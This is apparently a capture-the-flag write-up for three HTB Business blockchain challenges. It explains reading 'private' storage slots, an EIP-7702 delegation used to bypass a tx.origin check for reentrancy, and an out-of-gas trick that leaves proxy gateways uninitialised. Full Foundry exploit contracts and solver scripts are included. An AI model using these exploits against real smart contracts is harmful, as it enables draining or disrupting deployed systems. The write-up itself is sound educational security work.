HTB Business - Op3rAti0n Bl@ckoUt_
Writeup for HTB Business CTF Blockchain Challenges
Enlistment
EVM Storage
We can just jumpt straight into the challenge here, this is the target smart contract
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.29;
contract Enlistment {
bytes16 public publicKey;
bytes16 private privateKey;
mapping(address => bool) public enlisted;
constructor(bytes32 _key) {
publicKey = bytes16(_key);
privateKey = bytes16(_key << (16*8));
}
function enlist(bytes32 _proofHash) public {
bool authorized = _proofHash == keccak256(abi.encodePacked(publicKey, privateKey));
require(authorized, "Invalid proof hash");
enlisted[msg.sender] = true;
}
}
The goal is pretty clear, we just need to craft a bytes32 to satisfy the comparison in enlisst(bytes32 _proofHash). The recipe is stated in the comparison, keccak256(abi.encodePacked(publicKey, privateKey)), what’s left is to get both the publicKey and privateKey. Although both variables are private, they can be found within the contract storage, thus the data is not completely private, here is how you can determine their location
1
2
3
4
5
6
7
8
9
10
11
$ forge inspect Enlistment storage-layout
╭------------+--------------------------+------+--------+-------+-------------------------------╮
| Name | Type | Slot | Offset | Bytes | Contract |
+===============================================================================================+
| publicKey | bytes16 | 0 | 0 | 16 | src/Enlistment.sol:Enlistment |
|------------+--------------------------+------+--------+-------+-------------------------------|
| privateKey | bytes16 | 0 | 16 | 16 | src/Enlistment.sol:Enlistment |
|------------+--------------------------+------+--------+-------+-------------------------------|
| enlisted | mapping(address => bool) | 1 | 0 | 32 | src/Enlistment.sol:Enlistment |
╰------------+--------------------------+------+--------+-------+-------------------------------
both can be stored in a single SLOT, since one SLOT can hold up to 32 bytes of data.
What’s left to do is to create the correct _proofHash and send it to the enlistment(bytes32) function, after that, the solving condition is satisfied.
HTB{gg_wp_w3lc0me_t3_th3_t34m}
Spectral
EIP-7702, Reentrancy
Initial Analysis
We are given 2 solidity files, per usual the Setup and the Target; VCNK.sol, and an extra foundry.toml file that contain this setup
1
2
3
4
5
[profile.default]
src = "src"
out = "out"
libs = ["lib"]
evm_version = "prague"
The VCNK.sol has 3 functionality, first is the registerGateway(address)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function registerGateway(address _gateway) external payable circuitBreaker failSafeMonitor {
require(
controlUnit.registeredGateways < MAX_GATEWAYS,
"[VCNK] Maximum number of registered gateways reached. Infrastructure will be scaled up soon, sorry for the inconvenience."
);
require(msg.value == GATEWAY_REGISTRATION_FEE, "[VCNK] Registration fee must be 20 ether.");
Gateway storage gateway = gateways[_gateway];
require(gateway.status == GATEWAY_STATUS_UNKNOWN, "[VCNK] Gateway is already registered.");
gateway.status = GATEWAY_STATUS_IDLE;
gateway.quota = 0;
gateway.totalUsage = 0;
controlUnit.registeredGateways += 1;
emit GatewayRegistered(_gateway);
}
This function allow us to register a Gateway, the basic status is IDLE with 0 quota and 0 total usage with 20 Ether registration fee. One thing to note here is there no restriction of what a “Gateway” is, it can be an EOA or Smart Contract. The next main function is requestQuotaIncrease(address)
1
2
3
4
5
6
7
8
9
10
function requestQuotaIncrease(address _gateway) external payable circuitBreaker failSafeMonitor {
require(msg.value > 0, "[VCNK] Deposit must be greater than 0.");
Gateway storage gateway = gateways[_gateway];
require(gateway.status != GATEWAY_STATUS_UNKNOWN, "[VCNK] Gateway is not registered.");
uint256 currentQuota = gateway.quota;
require(currentQuota + msg.value <= MAX_ALLOWANCE_PER_GATEWAY, "[VCNK] Requested quota exceeds maximum allowance per gateway.");
gateway.quota += msg.value;
controlUnit.allocatedAllowance += msg.value;
emit GatewayQuotaIncrease(_gateway, msg.value);
}
This one allow us to add a power quota to an already registered Gateway, with the maximum allowance (declared in the contract) of 10 Ether per Gateway. The last main function is requestPowerDelivery(uint256, address)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function requestPowerDelivery(uint256 _amount, address _receiver) external circuitBreaker failSafeMonitor {
Gateway storage gateway = gateways[_receiver];
require(gateway.status == GATEWAY_STATUS_IDLE, "[VCNK] Gateway is not in a valid state for power delivery.");
require(_amount > 0, "[VCNK] Requested power must be greater than 0.");
require(_amount <= gateway.quota, "[VCNK] Insufficient quota.");
emit PowerDeliveryRequest(_receiver, _amount);
controlUnit.status = CU_STATUS_DELIVERING;
controlUnit.currentCapacity -= _amount;
vcnkCompatibleReceiver(_receiver).deliverEnergy(_amount);
gateway.totalUsage += _amount;
controlUnit.currentCapacity = MAX_CAPACITY;
emit PowerDeliverySuccess(_receiver, _amount);
}
This main function will be the one who will deliver the power to a Gateway according to each allocated quota, and yes, there are many thing to see here.
The Flaw
There are few thing that I noticed upon reading the contract, there are 2 modified circuitBreaker and failSafeMonitor.
1
2
3
4
5
6
7
8
9
modifier failSafeMonitor() {
if (controlUnit.currentCapacity <= FAILSAFE_THRESHOLD) {
controlUnit.status = CU_STATUS_EMERGENCY;
emit ControlUnitEmergencyModeActivated();
}
else {
_;
}
}
This modifier is the key of solving the challenge, where it will check whether the controlunit.currentCapacity is below the FAILSAFE_THRESHOLD which is 50 or not, if it’s below, then it changes the controlUnit.status to emergency.
1
2
3
4
modifier circuitBreaker() {
require(msg.sender == tx.origin, "[VCNK] Illegal reentrant power delivery request detected.");
_;
}
On first glance, this prevent us from doing a reentrancy attack, since EOA can’t have code (or can it?). These 2 modifiers is implemented on all main functions in the contract, but there is one thing that we need to consider, the evm_version for this challenge is set to prague.
Some mats here:
The EVM Pectra upgrade introduce a new implementation, one of them is EIP-7702 which allow us to sign a delegation and attach it to a smart contract, in instance allowing our EOA to have a code (or functionality like a smart contract). The circuitBreaker() modifier ensure that the interaction can only comes from an EOA with the msg.sender == tx.origin anti-pattern, but using a cheat code from foundry like vm.signAndAttachDelegation(address, privateKey) can bypass this check, or if you want the more manual way, you can use cast to solve this issue.
After we note that it is possible to bypass the check on circuitBreaker(), we can notice this flow in requestPowerDelivery(uint256,address)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function requestPowerDelivery(uint256 _amount, address _receiver) external circuitBreaker failSafeMonitor {
Gateway storage gateway = gateways[_receiver];
// ✅ CHECKS
require(gateway.status == GATEWAY_STATUS_IDLE, "[VCNK] Gateway is not in a valid state for power delivery.");
require(_amount > 0, "[VCNK] Requested power must be greater than 0.");
require(_amount <= gateway.quota, "[VCNK] Insufficient quota.");
emit PowerDeliveryRequest(_receiver, _amount);
// ⁉️ MIX OF INTERACTION & EFFECT
controlUnit.status = CU_STATUS_DELIVERING;
controlUnit.currentCapacity -= _amount;
// ⁉️ INTERACTION - sending the power and calling deliverEnergy
vcnkCompatibleReceiver(_receiver).deliverEnergy(_amount);
gateway.totalUsage += _amount;
// ⁉️ RETURNS THE MAX CAPACITY
controlUnit.currentCapacity = MAX_CAPACITY;
emit PowerDeliverySuccess(_receiver, _amount);
}
The power delivery method is success when it successfully called a Gateway, which is a vcnkCompatibleReceiver::deliverEnergy(uint256) and after that, it will return the max capacity after the call. It’s clear by now that what we do is a reentrancy attack on this function after the deliverEnergy(uint256) is called.
Exploitation
There are several ways to do this attack, although I can confirm when opening a ticket at that time, the support said that the author use web3.py to solve the challenge, but the challenge itself is solveable using foundry. Here are some guide if you choose to use foundry:
Preapre an Exploit.sol that we are going to attach to our EOA, a simple one just like this is enough to do the job
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.29;
import "src/blockchain-spectral/src/VCNK.sol";
contract Exploit is vcnkCompatibleReceiver {
VCNK vcnk;
function attack(VCNK target, uint256 amount) external {
vcnk = target;
vcnk.registerGateway{value: 20 ether}(address(this));
vcnk.requestQuotaIncrease{value: 10 ether}(address(this));
vcnk.requestPowerDelivery(amount, address(this));
}
function deliverEnergy(uint256 amount) external override returns (bool) {
vcnk.requestPowerDelivery(amount, address(this));
return true;
}
receive() external payable {}
}
Then, we just need to create a script with an unsafe allign for the nonce, since this is the issue with the foundry at that time,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.29;
import {Script, VmSafe, console} from "forge-std/Script.sol";
import "src/blockchain-spectral/src/Setup.sol";
import "src/blockchain-spectral/src/VCNK.sol";
contract VCNKSolver is Script{
Setup public setupInstance;
VCNK public vcnk;
uint256 playerPrivateKey;
address player;
function setUp() external {
string memory rpcUrl = "http://94.237.48.68:46126";
playerPrivateKey = 0xbae407db114a700e2b4ec3e621a2cb74d76c4c68a5df58066a3d3aaaafb822d5;
player = 0xe77ac1420528B273B1C9Aa1fCec92C232dd25D9D;
address setUpContract = 0x65FA60e4Bd9C5ccAFFbb8017aD260a18A02B4a25;
player = vm.addr(playerPrivateKey);
vm.createSelectFork(rpcUrl);
setupInstance = Setup(setUpContract);
vcnk = setupInstance.TARGET();
console.log('[?] VCNK Address: ', address(vcnk));
}
function run() public {
vm.startBroadcast(playerPrivateKey);
Exploit exploit = new Exploit();
console.log("[!] Player address: ", address(player));
console.log("[!] Player balance: ", address(player).balance / 1e18);
console.log("[!] exploit: ", address(exploit));
console.log("[!] vcnk: ", address(vcnk));
uint64 nonce = vm.getNonce(address(player));
vm.setNonceUnsafe(address(player), nonce+1);
vm.signAndAttachDelegation(address(exploit), playerPrivateKey);
vm.setNonceUnsafe(player, nonce);
Exploit(payable(address(player))).attack(vcnk, 10 ether);
uint256 status;
uint256 quota;
uint256 totalusage;
uint256 cumulative;
(status, quota, totalusage) = vcnk.gateways(address(player));
(, , ,cumulative) = vcnk.controlUnit();
console.log("[?] status: ",status);
console.log("[?] quota: ",quota / 1e18);
console.log("[?] total: ",totalusage);
console.log("[?] Allocated: ",cumulative/1e18);
vm.assertTrue(setupInstance.isSolved());
vm.stopBroadcast();
}
}
Running the forge script above will solve the challenge, and we just need to fetch the flag.
HTB{Pectra_UpGr4d3_c4uSed_4_sp3cTraL_bL@cK0Ut_1n_V0LnaYa}
Blockout
Under Gas-ing, Delegatecall
Actually for this challenge, I upsolve it at the Afterparty, since I was mistaken of the attack at first, but well, we solved it at the end of the day, so here is how I tackle it.
Initial Analysis
Once again we receive the foundry.toml with the evm_version set to prague, but this is a decoy since I thought the same concept won’t be used twice in a CTF, so I just cross the possibility of any update on the prague version here (and I was right). Moving on the solve condition for this challenge is identical to the previous challenge, to set the status to emergency
1
2
3
4
5
function isSolved() public view returns (bool) {
uint8 CU_STATUS_EMERGENCY = 3;
(uint8 status, , , , ) = TARGET.controlUnit();
return status == CU_STATUS_EMERGENCY;
}
This challenge patch the previous challenge by adding a deployment for the Gateway, so instead of registering an address as a Gateway, this challenge have a mechanism to deploy a Gateway.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function registerGateway() external payable circuitBreaker failSafeMonitor {
uint8 id = controlUnit.latestRegisteredGatewayID;
require(
id < MAX_GATEWAYS,
"[VCNK] Maximum number of registered gateways reached. Infrastructure will be scaled up soon, sorry for the inconvenience."
);
require(msg.value == GATEWAY_REGISTRATION_FEE, "[VCNK] Registration fee must be 20 ether.");
emit GatewayDeployed(controlUnit.latestRegisteredGatewayID, msg.sender);
_deployGateway(id);
}
.
.
function _deployGateway(uint8 id) internal {
VCNKv2CompatibleReceiver impl = new VCNKv2CompatibleReceiver();
VCNKv2CompatibleProxy proxy = new VCNKv2CompatibleProxy(
address(impl),
""
);
controlUnit.registeredGateways[id] = Gateway(
address(proxy),
GATEWAY_STATUS_IDLE,
0,
0
);
controlUnit.latestRegisteredGatewayID++;
VCNKv2CompatibleReceiver(address(proxy)).initialize();
}
The registration flow is identical, where a FEE of 20 Ether need to be paid upon calling the registerGateway() function, and after some checks, it will call internal function _deployGateway(uint8). The deployment flow is to deploy an UUPSUpgradeable Contract and adding it to the struct on the controlUnit. A quick flaw that we can see here is the newly registered Gateway is first added to the controlUnit.registeredGateways[id] before verifying whether if it’s been initialized succcessfully or not, we will be back to this point later. The next newly added function is called infrastructureSanityCheck()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function infrastructureSanityCheck() external circuitBreaker failSafeMonitor {
uint8 healthyGateways = 0;
for (uint8 id = 0; id < controlUnit.latestRegisteredGatewayID; id++) {
Gateway storage gateway = controlUnit.registeredGateways[id];
bool isGatewayHealthy = VCNKv2CompatibleReceiver(gateway.addr).healthcheck();
if (isGatewayHealthy) { healthyGateways++; }
else {
gateway.status = GATEWAY_STATUS_DEADLOCK;
controlUnit.allocatedAllowance -= gateway.availableQuota;
gateway.availableQuota = 0;
emit GatewayNeedsMantenance(id);
}
}
uint8 result = uint8((uint256(healthyGateways) * 100) / controlUnit.latestRegisteredGatewayID);
controlUnit.healthyGatewaysPercentage = result;
}
This function will update the controlUnit.healthyGatewaysPercentage by simply comparing how many Gateways are healthy and how many are not, then change it to a percentage form. The minimum health percentage is set to 50 with 2 Healthy Gateways already registered as a setup. They also update the failSafeMonitor() modifier to this
1
2
3
4
5
6
7
8
9
10
11
12
13
modifier failSafeMonitor() {
if (controlUnit.currentCapacity <= FAILSAFE_THRESHOLD) {
controlUnit.status = CU_STATUS_EMERGENCY;
emit ControlUnitEmergencyModeActivated();
}
else if (controlUnit.healthyGatewaysPercentage < 50) {
controlUnit.status = CU_STATUS_EMERGENCY;
emit ControlUnitEmergencyModeActivated();
}
else {
_;
}
}
Now we have 2 trigger to change the status to emergency, one is through the currentCapacity which is set to 10 Ether and another one is to make the healthyGatewaysPercentage go below 50. Let’s see the first option first, this is related to the requestPowerDelivery(uint256, uint8)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function requestPowerDelivery(uint256 _amount, uint8 _gatewayID) external circuitBreaker failSafeMonitor {
Gateway storage gateway = controlUnit.registeredGateways[_gatewayID];
// ✅ A check is implemented for the controlUnit Status
require(controlUnit.status == CU_STATUS_IDLE, "[VCNK] Control unit is not in a valid state for power delivery.");
require(gateway.status == GATEWAY_STATUS_IDLE, "[VCNK] Gateway is not in a valid state for power delivery.");
require(_amount > 0, "[VCNK] Requested power must be greater than 0.");
require(_amount <= gateway.availableQuota, "[VCNK] Insufficient quota.");
emit PowerDeliveryRequest(_gatewayID, _amount);
// ⁉️ The control unit status is STUCK and never changed after the delivery
controlUnit.status = CU_STATUS_DELIVERING;
controlUnit.currentCapacity -= _amount;
gateway.status = GATEWAY_STATUS_ACTIVE;
gateway.totalUsage += _amount;
bool status = VCNKv2CompatibleReceiver(gateway.addr).deliverEnergy(_amount);
require(status, "[VCNK] Power delivery failed.");
controlUnit.currentCapacity = MAX_CAPACITY;
gateway.status = GATEWAY_STATUS_IDLE;
emit PowerDeliverySuccess(_gatewayID, _amount);
}
Since before we had max quota for each Gateways capped at 10 Ether, this challenge we only have 4 Ether, plus we won’t be able to do a reentrancy attack here since the controlUnit.status is stucked on CU_STATUS_DELIVERING and it has a check on the top for it, thus the first option to trigger the emergency is not possible. Let’s see the second one.
1
bool isGatewayHealthy = VCNKv2CompatibleReceiver(gateway.addr).healthcheck();
This is what determine if a gateway is healthy or not, if the bool isGatewayHealthy is true then it is healthy, we can see that the value is returned from the VCNKv2CompatibleReceiver::healthcheck(), here is the function
1
2
3
4
5
6
function healthcheck() external view onlyProxy returns (bool) {
return (
_kernel() != address(0) &&
energyVault <= MAX_VAULT_CAPACITY
);
}
Based on the snipet above, the function will return true if the _kernel() function returns an address other than address zero and the energyVault is below the MAX_VAULT_CAPACITY, the address or kernel is set after the implementation (VCNKv2CompatibleReceiver) is initalized.
1
2
3
4
5
6
function initialize() external initializer onlyProxy {
address kernel = msg.sender;
assembly {
sstore(_KERNEL_SLOT, kernel)
}
}
The value of kernel is msg.sender, which is the VCNKv2 address.
The Flaw
From what I’ve analyzed above, I immediately thought that I can just upgrade the implementation to returning false everytime the healthcheck() function is called, but that’s not possible because of this modifier
1
2
3
4
5
6
7
modifier onlyKernel() {
require(msg.sender == _kernel(), "[VCNKv2CompatibleReceiver] Unauthorized: kernel only");
_;
}
.
.
function _authorizeUpgrade(address newImplementation) internal override onlyKernel onlyProxy {}
To upgrade the contract, only the kernel which is the VCNKv2 is whitelisted, which again, we aren’t. After asking for hint to somebody that solved the challenge, he hinted about some error in the EVM, suddenly, I remember that there is an error that will silently fail during a transaction, which is Out of Gas (OOG) error.
Reading mats: Rareskill - EIP-150 and the 63/64 Rule for Gas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function _deployGateway(uint8 id) internal {
VCNKv2CompatibleReceiver impl = new VCNKv2CompatibleReceiver(); // ✅ We want this
VCNKv2CompatibleProxy proxy = new VCNKv2CompatibleProxy( // ✅ We want this
address(impl),
""
);
controlUnit.registeredGateways[id] = Gateway( // ✅ We want this
address(proxy),
GATEWAY_STATUS_IDLE,
0,
0
);
controlUnit.latestRegisteredGatewayID++; // ✅ We want this
VCNKv2CompatibleReceiver(address(proxy)).initialize(); // ❌ We DONT want this
}
I was wondering what if, we can just deploy the Gateway without it being initialized, just like the sniper above, we want everything other than the initialize() call, and yep, after confirming this with my friend, I was on the right track.
Exploitation
In a call, we can actually specify the gas and value if needed, in this case, we want the initialize() not to be called by the flow, thus we need to analyze how many gas we need to make this call silently fail. Here is the intended/normal case for the call
Without Gas Input (Normal/Intended Behaviour)
We can see that the whole flow require 1373916, which 51000 was used for calling the fallback. Since it’s hard to calculate the exact amount, let’s just substract it, 1373916 - 51000 = 1323916. So roughly is 1323916, let’s add a little more, let’s say 1334000.
With Gas Input (What we want to achieved)
The value of the gas may differ for everyone.
With the specified gas, we can see based on the image above we got [OutOfGas] EvmError: OutOfGas, but the function still run and not reverted, this is what we want. We know that there are 2 Gateways that have already been deployed as a setup, so we need to deploy at least 3 Failing Gateways to make the majority is Failing (below 50 health), plus to trigger the failSafeMonitor() we can just update the controlUnit.healthyGatewaysPercentage by calling the infrastructureSanityCheck() twice after we registered the failing Gateways.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "../lib/forge-std/src/Script.sol";
import {VCNKv2} from "../src/blockchain-blockout/src/VCNKv2.sol";
import {Setup} from "../src/blockchain-blockout/src/Setup.sol";
contract VCNKv2Solver is Script {
Setup public setupInstance;
VCNKv2 public vcnk;
uint256 playerPrivateKey;
address player;
function setUp() public {
string memory rpcUrl = "http://94.237.21.212:43893";
playerPrivateKey = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;
player = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
address setUpContract = 0x0d5C87e3905Da4B351d605a0d89953aF60eF667a;
player = vm.addr(playerPrivateKey);
vm.createSelectFork(rpcUrl);
console.log('[?] VCNKv2 Address: ', address(vcnk));
}
function run() public {
vm.startBroadcast(playerPrivateKey);
vcnk.registerGateway{value: 20 ether, gas: 1334000}();
vcnk.registerGateway{value: 20 ether, gas: 1334000}();
vcnk.registerGateway{value: 20 ether, gas: 1334000}();
vcnk.infrastructureSanityCheck();
vcnk.infrastructureSanityCheck();
vm.stopBroadcast();
}
}
Running the script above will solve the challenge.
HTB{g4sL1ght1nG_th3_VCNK_its_GreatBl@ck0Ut_4ll_ov3r_ag4iN}
